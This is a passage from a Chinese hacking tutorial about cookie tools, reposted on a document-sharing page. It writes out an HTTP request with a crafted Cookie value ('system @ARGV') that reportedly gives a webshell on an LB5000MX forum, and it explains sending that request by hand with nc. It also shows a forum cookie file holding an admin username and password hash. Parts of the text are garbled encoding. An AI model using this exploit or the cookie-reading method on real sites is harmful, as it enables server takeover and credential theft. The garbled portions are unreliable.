cookie工具三劍客(編輯修改稿)
2024-10-22 17:30 本頁面
【文章內(nèi)容簡介】 篇文章吧。原文你也可以安全焦點(diǎn)看到。；，可能導(dǎo)致非法用戶控制論壇或以web權(quán)限在系統(tǒng)上執(zhí)行任意命令。攻擊方法:如果對方w2k系統(tǒng)采用的是” %s %s”映射方式很容易搞定，發(fā)送如下求就可以了得到一個網(wǎng)頁shell了：GET /perl/lb5000mx/cgibin/?member=system%20%40ARGV HTTP/ Host: Cookie: amembernamecookie=system%20%40ARGV 菜鳥又不明白了，這些數(shù)據(jù)我如何發(fā)送呢？一開始我也不會，還用vb編寫了一個小軟件來發(fā)送這些數(shù)據(jù)。后來在幾個論壇上問了高手，學(xué)到了一個cookie的發(fā)送方法。，方法是依次提交以下幾行類似的數(shù)據(jù)：nc vv 80get /xxx/?xxx=xxx HTTP/host:cookie:xxxxx=xxxxx看我在本機(jī)做的實(shí)驗,圖5這是用nc提交cookie的方法。圖6這是得到了一個webshell。 注意的是，用w2k自帶的telnet工具也可以做到，不過我發(fā)現(xiàn)用telnet不太容易控制字符輸入。 第三個cookie的管理工具，iecookiesview?？疵志兔靼姿怯脕碜鍪裁吹陌?。先看一下我用記事本打開剛才本機(jī)登陸動網(wǎng)論壇留下的cookie文件，它是放在我硬盤c:\Documents and Settings\administrator\Cookies目錄下，文件名是administrator@dvbbs6[1].txt，內(nèi)容如下:aspsky userid=1amp。usercookies=1amp。userhidden=2amp。password=469e80d32c0559f8amp。userclass=%B9%DC%C0%ED%D4%B1amp。username=admin * 啊，這樣好多地方看不明白,還有一些亂碼。我們用iecookiesview打開來看看。圖7。從圖中我們很清楚看到這個動網(wǎng)產(chǎn)生的cookie的各項值的意思了。key是cookie的關(guān)鍵字，value是cookie的值，domain是cookie來的網(wǎng)域，expire是cookie的過效期，modified是cookie的產(chǎn)生時間(:)不好意思，我的電時間都是1999
環(huán)評公示相關(guān)推薦
鄂ICP備17016276號-1